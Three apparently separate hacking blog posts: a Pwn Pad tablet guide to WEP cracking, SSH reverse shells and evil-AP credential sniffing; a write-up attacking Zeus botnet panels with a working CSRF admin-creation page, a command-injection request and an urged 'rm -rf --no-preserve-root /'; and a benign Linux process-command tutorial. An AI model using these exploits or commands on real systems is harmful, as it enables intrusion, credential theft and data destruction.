Thursday, June 1, 2023

WiFi Hacking On Tablets

Disclaimer: Don't hack anything where you don't have the authorization to do so. Stay legal.

Ever since I bought my first Android device, I wanted to use the device for WEP cracking. Not because I need it, but I want it :) After some googling, I read that you can't use your WiFi chipset for packet injection, and I forgot the whole topic.

After a while, I read about hacking on tablets (this was around a year ago), and my first opinion was: 
"This is stupid, lame, and the usage of that can be very limited".

After playing one day with it, my opinion just changed: 
"This is stupid, lame, the usage is limited, but when it works, it is really funny :-)"

At the beginning I looked at the Pwn Pad as a device that can replace a pentest workstation, working at the attacker side. Boy was I wrong. Pwn Pad should be used as a pentest device deployed at the victim's side!

You have the following options:
  1. You have 1095 USD + VAT + shipping to buy this Pwn Pad
  2. You have around 200 USD to buy an old Nexus 7 tablet, a USB OTG cable, a USB WiFi dongle (e.g. TP-Link Wireless TL-WN722N USB adapter works).



In my example, I bought a used, old 2012 Nexus WiFi. Originally I bought this to play with different custom Android ROMs, and play with rooted applications. After a while, I found this Pwn Pad hype again and gave it a shot.

The Pwn Pad community edition has an easy-to-use installer, with a proper installation description. Don't forget to backup everything from your tablet before installing Pwn Pad on it!

I don't want to repeat the install guide, it is as easy as ABC. I booted a Ubuntu Live CD, installed adb and fastboot, and it was ready-to-roll. I have not measured the time, but the whole process was around 20 minutes.


The internal WiFi chipset can be used to sniff traffic or even ARP poisoning for active MiTM. But in my case, I was not able to use the internal chipset for packet injection, which means you can't use it for WEP cracking, WPA disauth, etc. This is where the external USB WiFi comes handy. And this is why we need the Pwn Pad Android ROM, and can't use an average ROM.

There are two things where Pwn Pad really rocks. The first one is the integrated drivers for the external WiFi with monitor mode and packet injection capabilities. The second cool thing is the chroot wrapper around the Linux hacking tools. Every hacking tool has a start icon, so it feels like it is a native Android application, although it is running in a chroot Kali environment.

Wifite

The first recommended app is Wifite. Think of it as a wrapper around the aircrack - airmon - airodump suite. My biggest problem with WEP cracking was that I had to remember a bunch of commands, or have the WEP cracking manual with me every time I have to crack it. It was overcomplicated. But thanks to Wifite, that is past.

In order to crack a WEP key, you have to:
  1. Start the Wifite app
  2. Choose your adapter (the USB WiFi)

  3. Choose the target network (wep_lan in the next example)
  4. Wait for a minute 
  5. PROFIT!

SSH reverse shell

This is one of the key functionalities of the Pwn Pad. You deploy the tablet at the Victim side, and let the tablet connect to your server via (tunneled) SSH.

The basic concept of the reverse shells are that an SSH tunnel is established between the Pwn Pad tablet (client) and your external SSH server (either directly or encapsulated in other tunneling protocol), and remote port forward is set up, which means on your SSH server you connect to a localport which is forwarded to the Pwn Pad and handled by the Pwn Pad SSH server.

I believe the best option would be to use the reverse shell over 3G, and let the tablet connect to the victim network through Ethernet or WiFi. But your preference might vary. The steps for reverse shells are again well documented in the documentation, except that by default you also have to start the SSH server on the Pwn Pad. It is not hard, there is an app for that ;-) On your external SSH server you might need to install stunnel and ptunnel if you are not using Kali. The following output shows what you can see on your external SSH server after successful reverse shell.

root@myserver:/home/ubuntu# ssh -p 3333 pwnie@localhost The authenticity of host '[localhost]:3333 ([127.0.0.1]:3333)' can't be established. ECDSA key fingerprint is 14:d4:67:04:90:30:18:a4:7a:f6:82:04:e0:3c:c6:dc. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '[localhost]:3333' (ECDSA) to the list of known hosts. pwnie@localhost's password:   _____      ___  _ ___ ___   _____  _____ ___ ___ ___ ___  | _ \ \    / / \| |_ _| __| | __\ \/ / _ \ _ \ __/ __/ __|  |  _/\ \/\/ /| .` || || _|  | _| >  <|  _/   / _|\__ \__ \  |_|   \_/\_/ |_|\_|___|___| |___/_/\_\_| |_|_\___|___/___/   Release Version: 1.5.5  Release Date: 2014-01-30  Copyright 2014 Pwnie Express. All rights reserved.   By using this product you agree to the terms of the Rapid Focus  Security EULA: http://pwnieexpress.com/pdfs/RFSEULA.pdf   This product contains both open source and proprietary software.  Proprietary software is distributed under the terms of the EULA.  Open source software is distributed under the GNU GPL:  http://www.gnu.org/licenses/gpl.html  pwnie@localhost:~$

Now you have a shell on a machine that is connected to the victim network. Sweet :) Now Metasploit really makes sense on the tablet, and all other command-line tools.

EvilAP and DSniff

Start EvilAP (it is again a wrapper around airobase), choose interface (for me the Internal Nexus Wifi worked), enter an SSID (e.g freewifi), enter channel, choose whether force all clients to connect to you or just those who really want to connect to you, and start.


The next step is to start DSniff, choose interface at0, and wait :) In this example, I used a popular Hungarian webmail, which has a checkbox option for "secure" login (with default off). There are sooo many problems with this approach, e.g. you can't check the certificate before connecting, and the login page is delivered over HTTP, so one can disable the secure login checkbox seamlessly in the background, etc. In this case, I left the "secure" option on default off.



In the next tutorial, I'm going to show my next favorite app, DSploit ;)

Lessons learned

Hacking has been never so easy before
In a home environment, only use WPA2 PSK
Choose a long, nondictionary passphrase as the password for WPA2
Don't share your WiFi passwords with people you don't trust, or change it when they don't need it anymore
Don't let your client device auto-connect to WiFi stations, even if the SSID looks familiar

I believe during an engagement a Pwn Plug has better "physical cloaking" possibilities, but playing with the Pwn Pad Community Edition really gave me fun moments.

And last but not least I would like to thank to the Pwn Pad developers for releasing the Community Edition!

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Attacking Financial Malware Botnet Panels - Zeus

I played with leaked financial malware recently. When I saw these panels are written in PHP, my first idea was to hack them. The results are the work of one evening, please don't expect a full pentest report with all vulns found :-)

The following report is based on Zeus 2.0.8.9, which is old, but I believe a lot of Zeus clones (and C&C panels) depend on this code.

First things first, here are some Google dorks to find Zeus C&C server panel related stuff:
  • inurl:cp.php?m=login - this should be the login to the control panel
  • inurl:_reports/files  - in these folders you can find the stolen stuff, pretty funny if it gets indexed by Google
  • inurl:install/index.php - this should be deleted, but I think this is useless now.


Boring vulns found

Update: You can use the CSRF to create a new user with admin privileges:
<html> <head>     <title></title> </head> <body>     <pre>   This is a CSRF POC to create a new admin user in Zeus admin panels.   Username: user_1392719246 Password: admin1   You might change the URL from 127.0.0.1.   Redirecting in a hidden iframe in <span id="countdown">10</span> seconds.   </pre> <iframe id="csrf-frame" name="csrf-frame" style="display: none;"></iframe>     <form action="http://127.0.0.1/cp.php?m=sys_users&amp;new" id="csrf-form" method="post" name="csrf-form" target="csrf-frame">  <input name="name" type="hidden" value="user_1392719246" />   <input name="password" type="hidden" value="admin1" />   <input name="status" type="hidden" value="1" />   <input name="comment" type="hidden" value="PWND!" />  <input name="r_botnet_bots" type="hidden" value="1" />   <input name="r_botnet_scripts" type="hidden" value="1" />   <input name="r_botnet_scripts_edit" type="hidden" value="1" />   <input name="r_edit_bots" type="hidden" value="1" />   <input name="r_reports_db" type="hidden" value="1" />   <input name="r_reports_db_edit" type="hidden" value="1" />   <input name="r_reports_files" type="hidden" value="1" />  <input name="r_reports_files_edit" type="hidden" value="1" />  <input name="r_reports_jn" type="hidden" value="1" />   <input name="r_stats_main" type="hidden" value="1" />   <input name="r_stats_main_reset" type="hidden" value="1" />   <input name="r_stats_os" type="hidden" value="1" />   <input name="r_system_info" type="hidden" value="1" />   <input name="r_system_options" type="hidden" value="1" />  <input name="r_system_user" type="hidden" value="1" />   <input name="r_system_users" type="hidden" value="1" />     </form> <script type="text/javascript">  window.onload=function(){    var counter = 10;   var interval = setInterval(function() {    counter--;    document.getElementById('countdown').innerHTML = counter;    if (counter == 0) {     redirect();     clearInterval(interval);    }   }, 1000);  };     function redirect() {   document.getElementById("csrf-form").submit();     }     </script> </body> </html>
  • MD5 password - the passwords stored in MySQL are MD5 passwords. No PBKDF2, bcrypt, scrypt, salt, whatever. MD5.
  • ClickJacking - really boring stuff
  • Remember me (MD5 cookies) - a very bad idea. In this case, the remember me function is implemented in a way where the MD5 of the password and MD5 of the username is stored in a cookie. If I have XSS, I could get the MD5(password) as well.
  • SQLi - although concatenation is used instead of parameterized queries, and addslashes are used, the integers are always quoted. This means it can be hacked only in case of special encoding like GB/Big5, pretty unlikely.

Whats good news (for the C&C panel owners)


The following stuff looks good, at least some vulns were taken seriously:
  • The system directory is protected with .htaccess deny from all.
  • gate.php - this is the "gate" between the bots and the server, this PHP is always exposed to the Internet. The execution of this PHP dies early if you don't know the key. But you can get the key from the binary of this specific botnet (another URL how to do this). If you have the key, then you can fill the database with garbage, but that's all I can think of now.
  • Anti XSS: the following code is used almost everywhere
    • return htmlspecialchars(preg_replace('|[\x00-\x09\x0B\x0C\x0E-\x1F\x7F-\x9F]|u', ' ', $string), ENT_QUOTES, 'UTF-8');
    My evil thought was to inject malicious bot_id, but it looks like it has been filtered everywhere. Sad panda.

What's really bad news (for the C&C panel owners)


And the best vuln I was able to find, remote code execution through command injection (happy panda), but only for authenticated users (sad panda).

The vulnerable code is in system/fsarc.php:

function fsarcCreate($archive, $files){    ...    $archive .= '.zip';    $cli = 'zip -r -9 -q -S "'.$archive.'" "'.implode('" "', $files).'"';    exec($cli, $e, $r); }

The exploit could not be simpler: 
POST /cp.php?m=reports_files&path= HTTP/1.1 ... Content-Type: application/x-www-form-urlencoded Content-Length: 60  filesaction=1&files%5B%5D=files"||ping%20-n%2010%20127.0.0.1
because the zip utility was not found on my Windows box. You can try to replace || with && when attacking Windows (don't forget to URL encode it!), or replace || with ; when attacking Linux. You can also link this vulnerability with the CSRF one, but it is unlikely you know both the control panel admin, and the control panel URLs. Or if this is the case, the admin should practice better OPSEC :)
Recommendation: use escapeshellcmd next time.

Next time you find a vulnerable control panel with a weak password, just rm -rf --no-preserve-root / it ;-)

That's all folks!
Special greetz to Richard (XAMPP Apache service is running as SYSTEM ;-) )

Update: Looks like the gate.php is worth to investigate if you know the RC4 key. You can upload a PHP shell :)
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Linux Command Line Hackery Series - Part 5



Welcome back to the Linux Command Line Hackery series, this is Part-V of the series. Today we are going to learn how to monitor and control processes on our Linux box, so wrap your sleeves up and let's get started.

 Command:    ps
Syntax:           ps [options]
Description:  ps displays information about the currently running processes. Some of the common flags of ps are described briefly below
Flags: 
  -A or -e -> select all processes
  -a -> select all processes except both session leaders and processes not associated with a terminal.
  T -> select all processes associated with current terminal
  -u <username or id> -> select all processes of a given user or userlist

 Open up a terminal and type ps:

 ps

 what you'll see is a list of processes currently running in your terminal. One important thing to notice in the output is what's called as PID which stands for process ID. It is the number that uniquely identifies a process. Just keep that PID concept in mind we'll use it soon.

 OK I know that's not really what you want to see rather you want to see all the processes that are currently running on your box. Don't worry we have flags to rescue, in order to see all the processes you can use the -e flag like this:

 ps -e

 Boom! you get a long list of processes currently running on your machine (don't stare at me like that, you asked and I gave you that). If you want to see processes of a particular user you can type the following command in your terminal:

 ps -u bob

 here "bob" is a username. This command will list all processes of the user with effective user name of bob.

 You can do a full-format listing of the processes using the -f flag like this:

 ps -fu bob

 But the output of the ps command is a snapshot not really a live preview of what is going on in your box. I know your next question is going to be something like this, Isn't there a command in Linux that gives me a live updating information of the processes? Yes, there is a command called top that we'll learn about next.

 Command:    top
Syntax:           top [options]
Description:  top gives a dynamic real-time view of a running system. That is, it gives the up-to-date information about all the processes running on your Linux box (sounds fun!). Besides giving information about current processes and threads top also provides a brief system summary.

 To start top just type this command:

 top

 and you'll get a nice and cute looking ugly display :). Well what the heck is going on here you might ask, right? What you get is information about what is going on with your computer. To see what more can you do with top just type <h> within the program window and you'll be given list of options that you can play with.

 OK looking at what processes are going on in your box is cool but what if you want to terminate (or close) a process, is there a command line utility for that? Yes, there is and that's what we are going to look at next.

 Command:   kill
Syntax:          kill [options] <pid> [...]
Description:  kill is used to send a signal to process which by default is a TERM signal meaning kill by default sends a signal of termination to process (Cruel guy). To list the available signals we can use the -l or -L flag of the kill command.
To simply terminate a process we provide kill command a PID (process ID) and it will send the TERM signal to the process. So to kill a process first we'll list the running processes and then we'll keep the PID of the process in mind that we want to terminate. After that we'll issue the kill command with the PID that we just found.

 ps -ax
kill 1153

 the above command will send a TERM signal to the process whose PID is 1153, as simple as that.

 We can also use our already learned skills to refine the output of ps command. Say we have a xterm terminal running on our box and we want to terminate it. By using ps command all alone we'll get a long listing of all processes running on our box. But we can limit the output of ps command to just those processes that we're interested in by piping ps command with the grep command like this:

 ps -ax | grep xterm

 wow! that's amazing, we're able to pull out only those results from the ps command that contained xterm in them. Isn't that a cool trick? But what is that vertical bar ( | ) doing in the middle, you may be thinking, right? Remember we learned about the input and output re-directors previously, the vertical bar (pipe in geeky terms) is another re-director whose task is to redirect the output of one command as input to another command. Here the pipe redirects the output of ps -ax command as input to grep command and of-course from the previous article you know that grep is used to search for a PATTERN in the given input. That means the above command searches for the xterm word in the output of ps -ax command and then displays just those lines of ps -ax command which contain xterm. Now get that PID and kill that process.

 That's it for today, try these commands up on your own box and remember practice is gonna make you master the Linux command line. :)

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